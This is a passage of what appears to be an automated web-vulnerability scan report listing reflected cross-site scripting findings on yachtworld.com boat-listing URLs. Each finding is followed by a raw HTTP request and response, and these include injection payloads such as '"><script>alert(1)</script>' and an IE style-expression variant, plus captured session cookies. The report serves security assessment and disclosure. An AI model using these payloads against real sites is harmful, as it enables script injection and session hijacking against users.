5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 21:17:12 GMT Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 472fc"style%3d"x%3aexpression(alert(1))"b802179cd3d was submitted in the REST URL parameter 5. This input was echoed as 472fc"style="x:expression(alert(1))"b802179cd3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo/Puerto-Rico472fc"style%3d"x%3aexpression(alert(1))"b802179cd3d HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:08 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 14 Dec 2010 15:36:46 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:08 GMT Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.104. http://www.yachtworld.com/boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo/Puerto-Rico [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 144cb"><script>alert(1)</script>523d00231bb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo/Puerto-Rico?144cb"><script>alert(1)</script>523d00231bb=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:51 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 14 Dec 2010 15:36:46 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:51 GMT Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c18fb"><script>alert(1)</script>57c0f7d000b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32cc-2141315/Orange-Beachc18fb"><script>alert(1)</script>57c0f7d000b/AL/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
